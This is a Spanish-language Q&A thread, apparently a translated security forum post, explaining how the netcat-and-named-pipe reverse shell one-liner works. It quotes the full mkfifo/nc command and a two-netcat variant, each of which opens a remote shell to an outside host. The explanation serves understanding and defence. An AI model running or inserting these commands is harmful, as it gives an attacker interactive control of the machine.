can pipe | cáscara tubo nc lograr shell remoto?

1

En uno de los artículos en los que me topé con una vulnerabilidad de los dispositivos Dell que decía que cuando disparas la siguiente línea de código (ejecutada en algún lugar de PHP) obtendrás un shell raíz remoto:

mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 4444 >/tmp/f

Entiendo la parte que al crear el tubo fifo y canalizarlo a bash, podemos enviar comandos de shell a ese tubo, pero ¿por qué canalizarlo a nc y luego redirigir el comando a este tubo nuevamente?

    
pregunta Patryk 14.03.2014 - 02:18
fuente

2 respuestas

3

Este código espera que haya un servidor (por ejemplo, una copia de nc en modo servidor) escuchando en el puerto 4444 de 192.168.1.100. Cuando lo ejecutas, cualquier salida del servidor se convierte en entrada para el shell; a la inversa, la salida del shell se convierte en entrada para el servidor. Rompiendo el comando en pedazos para una comprensión más fácil,

mkfifo /tmp/f; : esto crea una canalización con nombre.

cat /tmp/f|/bin/sh -i : esto crea un shell interactivo en la máquina local y enlaza la salida de la tubería a la entrada del shell.

2>&1|nc 192.168.1.100 4444 : toma la salida del shell y lo envía a través de la red a una máquina que escucha en el puerto 4444 al 192.168.1.100.

>/tmp/f : toma la salida de nc (es decir, los datos enviados por la máquina remota) y la envía a la entrada de la tubería con nombre, donde se convierte en entrada para el shell.

En una línea de comandos de Unix normal, la salida de comandos anteriores puede convertirse en entrada para las posteriores, pero no al revés, y un shell remoto solo puede ser unidireccional (puede enviar comandos pero no obtener salida, u obtener salida pero no mandos de envío). El uso de una tubería con nombre le permite superar este límite y crear una shell remota bidireccional. Si tiene una inclinación geométrica, puede pensar en una tubería normal como una línea recta y en la construcción de tubería con nombre que encontró como un círculo.

    
respondido por el Mark 14.03.2014 - 05:08
fuente
2

Esto parece ser un shell inverso que crea un shell local (es decir, /bin/sh -i ) y envía la salida a 192.168.1.100:4444 (es decir, nc 192.168.1.100 4444 ):

+-----------------+      +-----------------------+
| /bin/sh -i 2>&1 |----->| nc 192.168.1.100 4444 |
+-----------------+      +-----------------------+

Ahora, lo que falta aquí es la salida del último comando que se redirige de nuevo como entrada al shell. Y como el shell pipe | solo puede canalizar la salida al comando que lo sigue, se usa un archivo pipe / FIFO con nombre para conectar los cabos sueltos:

+------------+      +-----------------+      +-----------------------+
| cat /tmp/f |----->| /bin/sh -i 2>&1 |----->| nc 192.168.1.100 4444 |
+------------+      +-----------------+      +-----------------------+
       ^                                                  v
       +------------------ /tmp/f <-----------------------+

Con esto, la salida de nc 192.168.1.100 4444 se convierte en la entrada para /bin/sh -i .

Si desea hacer esto sin la canalización / fifo nombrada, necesitará dos canales nc , uno para la entrada del shell y otro para la salida del shell:

nc 192.168.1.100 4444 | /bin/sh -i 2>&1 | nc 192.168.1.100 4445
    
respondido por el Gumbo 14.03.2014 - 07:44
fuente

Lea otras preguntas en las etiquetas